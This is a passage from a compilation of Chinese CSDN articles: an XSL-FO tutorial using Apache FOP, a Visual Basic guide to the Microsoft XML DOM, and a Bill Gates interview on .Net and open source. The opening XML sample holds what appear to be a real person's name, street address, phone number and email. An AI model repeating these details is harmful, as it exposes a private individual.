<field_value>Qualls</field_value>
</field>
<field id="address1" taborder="3">
<field_value>2129 NW 27th St.</field_value>
</field>
<field id="address2" taborder="4">
<field_value />
</field>
<field id="phone" taborder="5">
<field_value>4055253988</field_value>
</field>
<field id="email" taborder="6">
<field_value>michaelq@vertiscope.com</field_value>
</field>
</contact>

    我在此建议：将以上代码复制到你个人网站服务器上的同名页面上，并运行以上示例时。请一定要明确你使用的是对你个人服务器有效的路径和文件名。

    当你一切准备好时，请再次检验你的XML文件。


csdn_XSL对象格式使用指南（一）

  XSL对象格式使用指南（一）
作者： 天译编译
World Wide Web 联盟的规范书将可扩展样式语言(XSL)规划成两个部分：

■XSLT用来转换XML文件
■XSL对象格式(XSL FO) 用来详细说明格式语句的 XML函数库。
XSLT 非常容易学习和使用。只需要花费很少的时间，开发者就能将XML 文档转换成可以在用户自己浏览器上看到的HTML 文档。这也是开发者喜欢使用XSLT的原因。
XSL对象格式是一个以XML为基础的扩展函数库，能详细定义标记页数、版面和字体等网页内容信息。XSL FO 扩展语言非常复杂，也很冗长；但只有通过XSL FO 才能快速把XSLT 转换成文档源文件。
除了完全介绍XSL FO，这篇文章还将提供足够的信息和例子来说明怎样使用XSL FO。我们将通过XSL FO学习制作一个西班牙语的评论手册并将它打印出来。我们将使用Apache Software Foundation 的 FOP 工具软件使FO 文件转换成PDF 文件。

初始化
把XSL FO 文件转换成XML 文档，先需要基本的XML处理指令和FO 根元素：
    <?xml version="1.0" encoding="utf-8"?>
    <fo:root>
文档的结构为:
    ●主要的版面设计，由以下组成
        ○文档可能出现的各种页面
        ○安排这些页面的格式序列
    ●页面和它们的内容
页面规划
在FO 文档的开始<fo:root> 标签后，我们必须描述文档所拥有的页面类型。文档拥有下面图表中的三种页面。按照空白区域分类为封面、左边页和右边页。封面和左边页在左面有较多的空白区域。每个页面都有页眉和页脚。

让我们从定位页面长度、宽度及空白空间开始。在文章里单位都使用厘米，也可以使用任何CSS 单位，如象素 (pixel)、毫米、英寸等。这些规格被命名为simple-page-master 并用 master-name语句指定。请看代码示例。需要注意的是页面空白区域不能有任何需要印刷出来的内容。

内容区
在所有的印刷品的图表中都会有零星的线条。那是页面的内容区(正式上被称作页面参照区)， 在下面可以看出内容区被分成五个区域。

说明
我们必须先了解一些术语。当我们设定页面边的空白时，我们会使用top, bottom, left, and right这样的词汇。因为每个人都认为纸张的一块边缘就是纸张的左边、顶部、底部和右边。当我们谈到内容区域时会使用不同的词汇，因为不是所有的语言都能描述左到右或顶部到底部。
FO 认为一个页面由两种元素构成: block elements (例如文章的段落)它由新的一行起头。inline elements (例如字体的粗体和斜体)。FO的block-progress-direction 决定了段落在页面的位置。before-edge表示在段落之前，after-edge 表示在段落之后。
inline-progress-direction 决定了在一行话中每个字符的位置。start-edge 表示位置在一行话之前， end-edge表示位置在一行话之后。
对于希伯莱语来说，象以下所示：开头和结尾中文字位置与英语习惯是互相对应的。(阿拉伯语的写法也相似)

日语写法有时象下面一样写，下面是XSL 规范手册中的图片：

这种新函数库最大的优势是它使用的语言不受约束。如果你希望页面的标题出现在和普通文本相对应的位置，你可以象下面一样设定 text-align="end"
一个有趣的标题

标题一般在最上方，这样才能吸引读者的注意

如果文档最后要翻译成阿拉伯语或日语，你仍然能确定标题仍然出现在文本相对应的位置。就不需要来回调整文档的左右和上下。

指定区域的尺寸
封面页不需要页眉和页脚，所以我们只需要象以下所示的用粗体指定region-body信息。
<fo:simple-page-master master-name="cover"

page-height="12cm"
page-width="12cm"
margin-top="0.5cm"
margin-bottom="0.5cm"
margin-left="1cm"
margin-right="0.5cm">
<fo:region-body
margin-top="3cm" />

</fo:simple-page-master>

左边页和右边页拥有页眉和页脚，所以我们需要指定region-before 和 region-after的范围。
要点:你得给region-body 指定范围，相当于指定region-before 和region-after 的范围 (FOP 现在不支持region-start 和region-end)。如果你象下面这样做 ：
<fo:region-before extent="1cm"/>
<fo:region-after extent="1cm"/>

<fo:region-body
margin-top="0.20cm"
margin-bottom="0.20cm" />


csdn_XSL对象格式使用指南（二）

  XSL对象格式使用指南（二）
作者： 天译编译
现在页面大致已经被定位，你可以能够定位页面的顺序了。
我们建立的文档由封面页和内容页组成。页面有两种排序方法，如果页面为奇数页码就命名为：封面页 (它只有一页),其后是"内容页", 它由左边页和右边页交替排列。如果文档由单独的封面页构成就不需要再给页面排序了，我们不能因这么做而得到任何好处。(如果文档页数象一本书，那就值得去这样做了)我们会集中精力定位包括主要内容的页面顺序。在英文中，一本书内容包括偶数页码的左边页和奇数页码的右边页。这样一本打开的书就有两个页面。规范如这里所示，行号是附加的参考。

封面页
现在主要的页面和页面顺序都已经被确定，可以开始在这些页面中放置内容了。在内容的开头，我们可以使用实际的代码©；作为版权信息。请看代码示例。

创建PDF文件：
现在我们拥有一些内容了，我们可以将页面打印出来。如果你想自己尝试一下，你需要下载Apache Software Foundation的 FOP工具软件并安装，还需要：
    ●Java 1.1.x 或更新的版本
    ●一个支持SAX 和 DOM 的XML 分析软件
    ●一个 XSLT分析软件 (如果你已经下载了Xalan，你会得到所有 Xerces软件，
      XML 分析软件和 Xalan- XSLT 分析软件)
    ●一个 SVG 数据库，它可以从FOP 的w3c.jar数据包中得到
例如，在一个Linux 系统上，你可以把所有的.jar 文件放进一个方便的文件夹中，创建一个名为fop.sh 的脚本。

java -cp \
/usr/local/xml-jar/fop.jar:/usr/local/xml-jar/w3c.jar:\
/usr/local/xml-jar/xml.jar:/usr/local/xml-jar/xerces.jar:\
/usr/local/xml-jar/xalan.jar:/usr/local/xml-jar/bsf.jar \
org.apache.fop.apps.CommandLine $1 $2

调用脚本并键入fop.sh spanish1.fo spanish1.pdf 来产生一个PDF 文件。阅读这个文件，你需要一个PDF文件阅读器；Adobe 公司的Acrobat阅读器能够在Linux、acintosh和 Windows 上工作。Linux 用户也可以使用xpdf，一个 X-Window PDF 阅读器。我们看到的文档的输出和源代码完全不同。

文档美化一下效果会更好，在src属性里加入象external-graphic这样的图象URI。附加的语句用粗体表示。

<fo:block font-family="Helvetica" font-size="12pt"

text-align="end" space-after="36pt">
Copyright #169; 2001 J. David Eisenberg

</fo:block>
<fo:block text-align="end">

<fo:external-graphic src="file:images/catcode_logo.jpg"
width="99px" height="109px"/>

</fo:block>
<fo:block>

A Catcode Production

</fo:block>

现在，图象已经变得非常漂亮了。

开始加入内容
在离开这篇文章之前，我们开始使页面加入内容。在这个例子中，我们在xsl-region-before和 xsl-region-after 或xsl-region-body之间加入内容。

结果：

在后面两篇里，我们将向你显示使用XSLT创造FO元素是多么简单。你将学到怎么在你的文档中放进清单和表格。


csdn_XSL对象格式使用指南（三）

  XSL对象格式使用指南（三）
作者： 天译编译
在前两篇中我们已经讨论了怎样处理封面页和内容页，现在我们准备把以下内容放入这西班牙评论手册里。

标题和段落属性由<fo:block> 元素控制，粗体和带下划线的词语由<fo:inline>元素控制。现在开始描述第一个标题：
<fo:block

font-size="14pt" font-family="sans-serif"
font-weight="bold" color="green"
space-before="6pt" space-after="6pt">
Introduction

<fo:block>

space-before属性和space-after属性是储存区域中属性设置值中的两种。这些属性和层叠样式表CSS相类似
字体属性
font-family，font-weight，font-style (斜体)，font-size，font-stretch，font-variant
背景属性
background-color，background-image，background-repeat，background-attachment (卷动或固定)
边界属性
border-location-info：
location可以为before，after，start,，end,，top，bottom，left或right
info is 可以为字体，宽度或颜色
填充属性
padding-location：`
location is 可以为before，after,，start，end，top，bottom，left或right
空白属性
margin-location：
location可以为top，bottom，left或right
文本排列属性
text-align和text-align-last (用作文本最后一行); 函数可以为start，end，left，right或center
缩排属性
text-indent (第一行)，start-indent，end-indent
其他属性
wrap-option (没有约束或有约束)；widows和orphans (决定页面的顶部或左部有多少行)break-after和break-before；reference-orientation (将正文旋转90度)

通过这些属性，我们可以明确定位一个复杂的段落。定位使用 “复合数据类型”的标点符号可以使页面的版面可以在不同的图像分辨率下自动适应：
<fo:block

text-indent="1em"
font-family="sans-serif" font-size="12pt"
space-before.minimum="2pt"
space-before.maximum="6pt"
space-before.optimum="4pt"
space-after.minimum="2pt"
space-after.maximum="6pt"
space-after.optimum="4pt">
This handbook covers the major topics in Spanish, but is by no means complete.

<fo:block>

如果你的文档有很多标题或段落时，你不需要将所有的文档逐一格式化。有XSLT ，我们能用XSLT把文档写入HTML 或转换成详细的XSL:FO 译本。以下是已经转换好的HTML ：
<h3>Introduction</h3>
<p>
This handbook covers the major topics in Spanish, but is by no means complete.
</p>
<h3>Accents</h3>
<p>
When we pronounce English words, one syllable is usually
emphasized (<b>stressed</b>, in linguistic terms).
The stressed syllable is underlined in the following words: com<u>pu</u>ter,<u>lan</u>guage, de<u>vel</u>opment, suc<u>ceeds</u>. Spanish words also have a stressed syllable, and there are rules for determining which syllable carries the emphasis.
</p>

下边是标题和段落的模板：
<xsl:template match="h3">

<fo:block font-size="14pt" font-family="sans-serif"
font-weight="bold" color="green"
space-before="6pt" space-after="6pt">
<xsl:apply-templates/>
</fo:block>

</xsl:template>

<xsl:template match="p">

<fo:block
text-indent="1em"
font-family="sans-serif" font-size="12pt"
space-before.minimum="2pt"
space-before.maximum="6pt"
space-before.optimum="4pt"
space-after.minimum="2pt"
space-after.maximum="6pt"
space-after.optimum="4pt">
<xsl:apply-templates/>
</fo:block>

</xsl:template>

在这篇文章初始化时已经设定了模板并将<html>和 <body>标记了，我们在这时不用再重复，只需用浏览器检查一下。
这是文档的树结构。用<b> 和 <u> 标记了最后一个子接点。它们在行列中的句柄为<fo:inline>元素。
<xsl:template match="b">

<fo:inline font-weight="bold">
<xsl:apply-templates/>
</fo:inline>

</xsl:template>

<xsl:template match="u">

<fo:inline text-decoration="underline">
<xsl:apply-templates/>
</fo:inline>

</xsl:template>

<xsl:template match="i">

<fo:inline font-style="italic">
<xsl:apply-templates/>
</fo:inline>

</xsl:template>


csdn_XSL对象格式使用指南（四）

  XSL对象格式使用指南（四）
作者： 天译编译
下面是我们将在文档中增加列表的内容：
1.If a syllable has an accent mark, that syllable always gets the stress: acción (action), teléfono.

2.If the word ends with a vowel, n, or s, the next-to-last syllable gets the stress: amigo, hablan (they talk), animales.

3.All other words are accented on the last syllable: hotel, similar, espa?ol.

一个列表由四个元素构成。<fo:list-block>属性包含单独的<fo:list-items>属性。列表不同的部件被<fo:list-item-label>属性和<fo:list-item-body>属性固定。你可以通过下面的图表所示属性来设定列表的间隔：

A.provisional-distance-between-starts
B.provisional-label-separation
C.start-indent for list-item-label
D.start-indent for list-item-body
E.end-indent for list-item-label
F.end-indent for list-item-body
现在我们来创建一个XSLT 模板来处理一个规划好的列表。开始先设定列表的各项部件的标签，再通过FOP输出。使用相关的em 间隔，列表将拥有合理的间隔和字体大小：
<xsl:template match="ol">

<fo:list-block space-before="0.25em" space-after="0.25em">
<xsl:apply-templates/>
</fo:list-block>

</xsl:template>

<xsl:template match="ol/li">

<fo:list-item space-after="0.5ex">
<fo:list-item-label start-indent="1em">
<fo:block>
<xsl:number/>
</fo:block>
</fo:list-item-label>
<fo:list-item-body>
<fo:block>
<xsl:apply-templates/>
</fo:block>
</fo:list-item-body>
</fo:list-item>

</xsl:template>

制作无序列表跟以上类似。在一个无序列表中各部件的相关定义为：
<xsl:template match="ul/li">

<fo:list-item>
<fo:list-item-label start-indent="1em">
<fo:block>
•
</fo:block>
<!-- etc. -->

定位列表
使用列表样式创建一个有限的表格并定位它们的条款和解说并不能依靠XSLT。我们将在分开的行内放入条款和解说，象普通的HTML所演示的。
<xsl:template match="dl">

<fo:block space-before="0.25em" space-after="0.25em">
<xsl:apply-templates/>
</fo:block>

</xsl:template>

<xsl:template match="dt">

<fo:block>
<xsl:apply-templates/>
</fo:block>

</xsl:template>

<xsl:template match="dd">

<fo:block start-indent="2em">
<xsl:apply-templates/>
</fo:block>

</xsl:template>

这儿是小册子的一部分，展示了怎么规划列表和定位列表。注意下面的文本流程不需要我们做任何改动。

表格
下面显示了一个典型的表格。
Singular Plural
yo canto nosotros cantamos
tú cantas vosotros cantáis
él canta
ella canta ellos cantan
ellas cantan

通过 XSL格式化过的表格有以下元素：
<fo:table-and-caption>

<fo:table-caption>
<fo:table>
<fo:table-column>
<fo:table-header>
<fo:table-row>
<fo:table-cell>
<fo:table-body>
<fo:table-row>
<fo:table-cell>
<fo:table-footer>
<fo:table-row>
<fo:table-cell>

<fo:table> 属性相当于HTML 的<table>标签； <fo:table-body>属性相当于HTML 的<tbody>属性。注意只需要定义 <fo:table-column> 属性，它允许你指定表格队列的宽度。你也可以用标签定义单元格具有相同的队列和范围。<table-and-caption> 元素在当前的FOP执行中不能实现。你必须在<fo:table-column>元素定义column-width 属性来调整表格队列的宽度。FOP不能自动调节并显示你的表格的宽度。
XSLT 可以制作简单的表格，假定已经定位了第一行表格的宽度，还得确定是72象素/英寸宽度单位。但还没有处理行和列的跨距。请看代码示例。
第三人称需要一个<br />标签，可以用FO转换成：
<xsl:template match="br">

<fo:block><xsl:text> </xsl:text></fo:block>

</xsl:template>

表格处理结果显示为：

概要
正如你见到的，XSLT 和 FO相结合允许你将XHTML文档 或其他 XML文档转换成印刷格式。用XSL 的对象格式化功能只能做初步的版面设计。


csdn_XML DOM初学者指南

  XML DOM初学者指南
作者： 董胜涛
总述：本文主要讨论如何利用XMLDOM访问和维护XML文档，这个XMLDOM由Microsoft 解析器实现。

目录：

简介

DOM是什么

如何使用DOM

如何Load一个文档

处理错误

如何从XML文档中取得信息

如何遍历XML文档

下一步该干什么

简介：

作为VB的开发者你可能会接触eXtensible Markup Language (XML)文档。你现在想处理XML文档并把它集成到你的方案中。你可以自己编程解析，把它当普通文本文档处理，但这样作太没有效率了，没有利用XML的强大之处：它可以结构化的表示数据。

从XML文件中获得信息最好的办法是利用XML解析器。解析器，简单的讲，就是一个软件，它可以使XML文件中的数据易于使用。作为VB的开发者，你可能想得到一个支持Document Object Model (DOM)的解析器。DOM描述了一系列标准的访问XML和HTML文档的方法，这些方法解析器应该实现。一个支持DOM的解析器应该把XML中的数据变成一系列对象，这样就可以对这些对象二次编程。在这篇文章中，你会学习如何利用Microsoft 解析器（Msxml.dll）实现的DOM结构访问和维护XML文档。

在我们继续前进时，让我们先看一段XML代码来了解这个解析器怎样使我们生活变得容易。下面这个叫cds.xml的文档用来表示一个唱片的各个项目，每个项目包含象主唱，标题，音轨这样的信息。

<? xml version="1.0"?>

<! DOCTYPE compactdiscs SYSTEM "cds.dtd">

<compactdiscs>

<compactdisc>

<artist type="individual">Frank Sinatra</artist>

<title numberoftracks="4">In The Wee Small Hours</title>

<tracks>

<track>In The Wee Small Hours</track>

<track>Mood Indigo</track>

<track>Glad To Be Unhappy</track>

<track>I Get Along Without You Very Well</track>

</tracks>

<price>$12.99</price>

</compactdisc>

<compactdisc>

<artist type="band">The Offspring</artist>

<title numberoftracks="5">Americana</title>

<tracks>

<track>Welcome</track>

<track>Have You Ever</track>

<track>Staring At The Sun</track>

<track>Pretty Fly (For A White Guy)</track>

</tracks>

<price>$12.99</price>

</compactdisc>

</compactdiscs>

上面的文档的第二行引用了一个外部DTD（文档类型描述），DTD描述了一个特定类型的XML的层次结构和能包括的内容。XML解析器利用DTD来验证XML文档的正确性。DTD只是你用来让解析器验证XML文档是否合法的办法的一种，另一个越来越受欢迎的方法是XML Schemas，它用XML来描述Schemas而不是DTD。与DTD不同的是, Schema是用XML来描述的,也就是使用它自己的"有趣的"语法。

下面的文档是cds.xml用到的cds.dtd。

<! ELEMENT compactdiscs (compactdisc*)>

<! ELEMENT compactdisc (artist, title, tracks, price)>

<! ENTITY % Type "individual | band">

<! ELEMENT artist (#PCDATA)>

<! ATTLIST artist type (%Type;) #REQUIRED>

<! ELEMENT title (#PCDATA)>

<! ATTLIST title numberoftracks CDATA #REQUIRED>

<! ELEMENT tracks (track*)>

<! ELEMENT price (#PCDATA)>

<!ELEMENT track (#PCDATA)>

本文不会对DTD和XML Schemas讨论过深，基于XML-DATA的XML Schema Reference已提交给W3c。

DOM是什么：

XML DOM结构将XML文档的内容实现为一个对象模型。W3C的DOM Level 1 说明定义了DOM结构如何实现属性，方法，事件等等。微软的DOM实现完全支持W3C标准，并且还有许多使程序更容易访问XML文件的新增特点。

如何使用DOM

要使用DOM，需要创建一个XML解析器的实例。微软公司在Msxml.dll中创建了一系列标准的COM接口来使创建实例变得可能。Msxml.dll中包含了类型库和可应用的代码，这些你可以用来处理XML文件。如果你使用可实现脚本的客户端，比如VBScript 和IE，你可以使用CreateObject方法来得到解析器的实例。

Set objParser = CreateObject( "Microsoft.XMLDOM")

如果你使用ASP （Active Server Page），你使用Server.CreateObject方法。

Set objParser = Server.CreateObject( "Microsoft.XMLDOM" )

如果你在使用VB，你可以创建一个对MSXML类型库的引用，这样就可以访问DOM。要在VB6.0中使用MSXML，操作如下：

打开Project References项
从COM对象中选择Microsoft XML, version 2.0，如果你找不到此项，你需要得到它。
你可以创建一个解析器的实例了。
Dim xDoc As MSXML.DOMDocument Set xDoc = New MSXML.DOMDocument

你可以通过两个途径获得Msxml.dll。

你可以安装IE5.0，MSXML解析器是其中集成的部件。
或者你可以到相关网站上下载它
一旦你建立了类型库的引用，你就可以执行解析，调入文档，总之，你可以处理XML文档了。

你可能有一些迷惑，我该干些什么？如果你打开MSXML库，用Visual Basic 6.0对象察看器察看其中的对象模型，你会发现很丰富。本文会告诉你如何利用DOMDocument类和IXMLDOMNode界面来访问XML文档。

如何Load一个文档：

要调入一个XML文档，先必须创建一个DOMDocument的实例。

Dim xDoc As MSXML.DOMDocument

Set xDoc = New MSXML.DOMDocument

当你获得一个合法的引用，你就可以用LOAD方法来调入一个文档。解析器可以从本地硬盘调入或者通过UNC和URL从网络上调入。

从硬盘调入如下：

If xDoc.Load("C:\My Documents\cds.xml") Then

' 文档调入成功

' 作我们喜欢作的事

Else

' 文档调入失败

End If

当你完成工作，你需要释放掉这个引用，MSXML没有直接实现CLOSE方法，你最好直接将它设置成Nothing来关闭它。

Set xDoc = Nothing

当你调用一个文档，默认是异步进行，你可以通过修改Async属性来更改它。如果你要操作文档，你必须先检查ReadyState属性来确认文档的状态，它会返回五种可能的结果。

状态
属性值

未初始化：调入文档没有开始
0

调入：Load方法正在执行
1

调入完成：Load 方法已经完成
2

交互阶段：DOM可以进行只读检验，数据部分解析
3

完成：数据完全解析，可以进行读/写操作。 4

MSXML解析器实现了一些有用的方法，你在调入一个大的文档时可以用这些方法追踪调入过程的状态。这些方法对从Internet上异步的调入文档也很有帮助。

要打开一个Internet上的文档，你需要提供绝对URL，并且必须加http://前缀。下面是一个例子。

xDoc.async = False

If xDoc.Load("http://www.develop.com/hp/brianr/cds.xml") Then

' 文档调入成功

' 作我们喜欢作的事

Else

' 文档调入失败

End If

将Async属性设置为False，这样在文档调入完成之前，解析器不会将控制权交给你的代码。如果把Async保存为True，你在访问文档时必须检查ReadyState属性或者利用DOMDocument的事件在文档可以访问时提示你的代码。

处理错误：

你的文档可能因为各种原因而调入失败，最常见的原因是提供给解析器的文档名不正确，另一个常见的原因是XML文档不合法。

默认的解析器会验证你的文档是否符合某个DTD 或者 schema，你可以不让解析器执行验证，在执行Load方法之前，将DOMDocument的属性ValidateOnParse为False。

Dim xDoc As MSXML.DOMDocument

Set xDoc = New MSXML.DOMDocument

xDoc.validateOnParse = False

If xDoc.Load("C:\My Documents\cds.xml") Then

' 文档调入成功

' 作我们喜欢作的事

Else

' 文档调入失败

End If

事先关闭验证功能不是个好主意，它会带来许多问题，至少它会是你提供错误格式的数据给你的用户。

你可以通过访问ParseError对象来从解析器那儿获得有关错误类型的信息。创建一个IXMLDOMParseError界面的引用，然后把它指向文档自身的ParseError对象。IXMLDOMParseError界面实现了七种属性来使你获得错误原因。

下面的例子显示了一个信息框，列出了ParseError对象中所有错误信息。

Dim xDoc As MSXML.DOMDocument

Set xDoc = New MSXML.DOMDocument

If xDoc.Load("C:\My Documents\cds.xml") Then

' 文档调入成功

' 作我们喜欢作的事

Else

' 文档调入失败

Dim strErrText As String

Dim xPE As MSXML.IXMLDOMParseError

' 获得parseError对象

Set xPE = xDoc.parseError

With xPE

strErrText = "你的XML Document 不能调入" & _

"原因是." & vbCrLf & _

"错误 #: " & .errorCode & ": " & xPE.reason & _

"Line #: " & .Line & vbCrLf & _

"Line Position: " & .linepos & vbCrLf & _

"Position In File: " & .filepos & vbCrLf & _

"Source Text: " & .srcText & vbCrLf & _

"Document URL: " & .url

End With

MsgBox strErrText, vbExclamation

End If

Set xPE = Nothing

你可以利用parseError对象来向你的用户报告错误信息，或者把它写入你个Log中，你还可以尝试自己解决遇到的问题。

如何从XML文档中取得信息：

一旦你成功的调入了文档，下一步就是如何从中获得信息了。当你操作文档时，你经常会用到IXMLDOMNode界面，你利用它来读/写各个分离的节点元素。在使用它之前，你必须先理解MSXML支持的13种节点元素类型，下面是最常用的几个。

DOM节点类型
举例

NODE_ELEMENT
<artist type="band">The Offspring</artist>

NODE_ATTRIBUTE
type="band">The Offspring

NODE_TEXT
The Offspring

NODE_PROCESSING_INSTRUCTION
<?xml version="1.0"?>

NODE_DOCUMENT_TYPE
<!DOCTYPE compactdiscs SYSTEM "cds.dtd">

你通过IXMLDOMNode界面实现的两个属性来访问节点的类型。NodeType属性列举了DOMNodeType所有项目(一些项目列举在上面的表格上)。另外，你可以用NodeTypeString属性来获得表示节点类型的字符串。

一旦你有了文档的DOM引用，你就可以遍历节点的层次。通过文档引用，你可以访问ChildNodes属性，它给出了一个自上而下的包含所有节点的目录。ChildNodes属性实现了IXMLDOMNodeList，它支持Visual Basic的For/Each结构，所以你可以列举出ChildNodes中的所有节点。另外，ChildNodes属性还实现了Level属性，它可以返回所有子节点的数目。

不只是文档对象有ChildNodes属性，每一个节点都有ChildNodes属性。因为如此，ChildNodes属性和IXMLDOMNode's HasChildNodes属性配合，使你非常方便的遍历文档，访问元素，属性，值。

值得一提的是,元素和元素值之间是父子关系。例如在 CDs XML文档中，元素<title>表示歌曲的名字，要知道<title>的值，你需要访问节点的属性NODE_TEXT。如果你发现一个节点有你感兴趣的数据，你可以访问它的属性，也可以通过ParentNode属性来访问它们的父节点。

如何遍历XML文档：

你能够遍历文档的节点是利用文档对象,因为XML本身就是层次结构,所以很容易编写递归代码来访问整个文档。

LoadDocument程序打开XML文档，然后调用另一个程序DisplayNode，它用来显示文档的结构。LoadDocument传递给正在打开的XML文档的ChildNodes属性一个引用作为它的参数，同时传递一个整数用来标示开始显示的层次级别。代码利用参数来格式化在Visual Basic文档结构显示窗口中的文本。

DisplayNode属性的函数会遍历文档寻找需要的NODE_TEXT节点类型串，一旦代码找到一个NODE_TEXT的节点，它会利用NodeValue属性来获得相应的文本串。另外，当前节点的ParentNode属性指向一个元素类型的节点。元素节点实现了一个NodeName属性，

NodeName和NodeValue属性会被显示。

如果一个节点还有子节点，通过检测HasChildNodes属性确认，DisplayNode就会调用自己知道遍历文档的全部。

下面这个DisplayNode程序用Debug.Print向Visual Basic窗口写入相关信息。

Public Sub LoadDocument()

Dim xDoc As MSXML.DOMDocument

Set xDoc = New MSXML.DOMDocument

xDoc.validateOnParse = False

If xDoc.Load("C:\My Documents\sample.xml") Then

' The document loaded successfully.

' Now do something intersting.

DisplayNode xDoc.childNodes, 0

Else

' The document failed to load.

' See the previous listing for error information.

End If

End Sub

Public Sub DisplayNode(ByRef Nodes As MSXML.IXMLDOMNodeList, _

ByVal Indent As Integer)

Dim xNode As MSXML.IXMLDOMNode

Indent = Indent + 2

For Each xNode In Nodes

If xNode.nodeType = NODE_TEXT Then

Debug.Print Space$(Indent) & xNode.parentNode.nodeName & _

":" & xNode.nodeValue

End If

If xNode.hasChildNodes Then

DisplayNode xNode.childNodes, Indent

End If

Next xNode

End Sub

DisplayNode用HasChildNodes属性来确认是否再次调用自己，你也可以用节点的Level属性，如果大于0，则有子节点。

下一步该干什么：

这仅仅是个开始，你现在可以更深的了解XML和Microsoft 解析器(Msxml.dll)。你可以作一些有趣的事例如改变某个节点的值，搜索文档，建立你自己的文档等等。访问 MSDN Online XML Developer Center以获得更多的例子，文章和下载。


csdn_盖茨从未放弃野心：XML时代我们拥有.Net

  盖茨从未放弃野心：XML时代我们拥有.Net
作者： 流浪
    尽管不久微软将再次接受是否被 一分为二 <http://tech.sina.com.cn/hotnews/mscase/index.shtml>的裁决，但微软主席比尔.盖茨并没有因此而放弃垄断网络市场的野心。

    盖茨现在已经将大部分公司日常管理事务交给微软CEO巴尔默及其团队来管理，他所负责的只是技术性工作。但作为微软的创始人和“微软之神”，这个天才仍然在指挥着微软这艘巨轮前进的方向。

    在本周亚特兰大微软主办的软件开发伙伴会议上，盖茨又向与会代表介绍了微软的旗舰产品“Web services”(网络服务)技术，还介绍了.Net计划和冰雹计划的进行情况。据知情人透露，这两个计划将可能重新让微软获得行业垄断地位，并且还将使微软成为数以亿计PC用户的“保镖”。

    盖茨也在随后的一次媒体专访中，介绍了微软对冰雹计划巨额投资的用心所在，也解释了为何微软要反击现在流行的开放源代码行动。他甚至还说明了公司每年高达50亿美元的研发资金的来龙去脉。

    问(记者)：我们都知道微软一向把 Internet Explorer 浏览器 和Windows系统捆绑销售，而现在微软在发布 Windows XP <http://tech.sina.com.cn/introduction/focus/winxp.shtml>时又加上了即时信息操作系统、最新版本的Media Player(媒体播放器)和其他一些最新的技术。因此，一直有人在批评微软的这种行为，并且大多数批评还带有明显的人身攻击，您对此作何感想？

    答(盖茨)：简单的说，我们的客户都希望看到一个功能越来越丰富、强大的Windows系统，他们同时也希望能让系统变得更加可靠、安全。出于这种考虑，微软承诺增加用户所需要的功能。如果没有捆绑销售的话，你能想象出Windows现在是个什么样子吗？有些人希望能以100美元的价格向消费者推销TCP/IP堆栈，但我们在系统中向用户免费提供了TCP/IP协议，这就难怪这些人要攻击我们了。

    Windows将自己的发展与客户的需求紧密结合在一起，这是无可非议的事情。只要懂得相关的编程语言，任何人就可以在Windows系统中运行自己编写的一些程序，这个系统其实也是展现程序员风采的舞台。在编程时，既不需要征得微软的同意，也不需要向微软支付任何额外费用。Windows是经过了千锤百炼的一个空前成熟的操作系统。如果你在使用中遇到了问题也不要紧，到任何一个书店就可以找到有关Windows操作的书籍，不管是微软版本还是别的什么版本，相信你都可以找到相当详细的资料。所以，Windows已经被大众广泛接受。 Windows还有一个实时帮助功能，也推动了其广泛流传。

    你经常会听到你的朋友说，“Windows又增加了一个新功能！”也许你还不能完全相信，怎么会有那么多的新功能这么接二连三地推出来。但你也要考虑到，我们每年用于研发的50亿美元总不能白花吧？

    美国在线会经常这么做吗？不会！因为他们在那个特定的市场内几乎没有竞争对手，因此其进取心就已经大大减弱了。PC工业依靠的就是本身制造工艺的进步和软件行业的发展，那么，微软为什么不为此做出自己的贡献呢？

    问：微软的网络浏览器技术现状如何？

    答：所有的程序都是在PC上运行的。但是，你想象过计算机互联的情况吗？当你在运行用户服务程序或是Microsoft Word，甚至是在玩游戏时，你会发觉单机操作相当枯燥，这个时候你就希望能实现联机了。联机之后随之而来的是即时信息系统、程序的共享、实时API。

    实时技术其实和HTML非常相象，你可以用电脑来收发 电子邮件 <http://tech.sina.com.cn/introduction/focus/email.shtml>，而年轻人则用来实时在线交流。你也可以将一些自己很欣赏的视频画面、歌曲或是出色的软件拿来大家共享。尽管现在的PC还不是交流设备，但是其将来是向这个方向发展的。在Windows系统中，这个功能叫做“NetMeeting”，相信许多人已经通过这个软件尝到了实时交流的甜头。在Windows XP中，我们将加强这个功能，并使其成为一个主流产品。

    问：你如何看待 Linux <http://tech.sina.com.cn/introduction/focus/linux.shtml>和开放的源代码？

    答：现在，你能清楚地表明微软公司在Linux和开放源代码的流行趋势下所处的位置吗？ 在这方面我不想多说，Craig Mundie (微软高级策略副总裁)是这个方面的专家，问他的话，你可能知道的更多、更详细。从历史上来看，或者说从现实来看也可以，免费的软件总是从学校这样的学术环境开始的，那些程序员们从来不用担心自己的吃饭问题，毕竟一切都是由政府投资。TCP/IP协议就是出自这种环境。现在，大约有90%的可执行程序都是上市商品，其售后服务也有浓厚的商业气息。但软件公司就有很大的不同了，相信大家都很清楚。他们需要缴税，需要研发投资。一句话，一个软件公司想发展，没有资金是完全行不通的。目前的软件已经分为免费和商业两个大类，消费者们可以在其中自由选择。现在的这个销售环境已经相当规范和健康。

    问：GPL(GNU通用公共许可，GNU General Public License)意味着什么?

    答：开放源代码有一个部分叫做GPL，它使软件公司的工作变得相当困难，你不能使用其中任何源代码，也不能将其扩大或更新。TCP/IP和一种叫做“Sendmail”的电子邮件技术就是很好的例子。我们承认免费软件和商业软件的存在，也承认软件市场循环系统的功能，但还是有些人不喜欢商业软件，他们甚至认为这样的软件根本就不应该产生。GPL也一直是微软头疼的一个问题。

    现在，已经有人在慢慢了解和接受GPL了。当人们提起源代码时，他们往往指的就是GPL。他们也逐渐接受了软件市场的两大分类。

    问：微软在开放源代码运动中处在什么位置？

    答：我们对那些开放源代码的人的行为表示理解，没有任何异议。我们也在某些方面进行着积极的尝试。我们已经将一些源代码公布出去，希望能使我们的系统更加完善，比如Windows CE操作系统的源代码等等。但是有些源代码的公布还需要官方的许可，比如Windows，以免造成一些不可估计的损失。我们在免费软件方面也有较大的投资，这将成为微软永恒不变的一个经营策略。但目前那些商业用户对GPL的理解还存在较大的困难，我们必须保证他们的系统安全，并同时让他们了解GPL的真正含义。但不幸的是，在这个方面存在着很多的误解。很多人都认为微软公司根本不做免费软件。事实上并不是这样。

    也许有人会问，“微软会将更多的源代码公布吗？”其实，Windows已经做到了这一点。微软已经把它做到了简单之至。人们都希望能看到Windows的源代码，我们也想将其公开以引起更多人的注意并最终完善这个系统。但处于安全方面的考虑，现在还不能进行相关的操作。

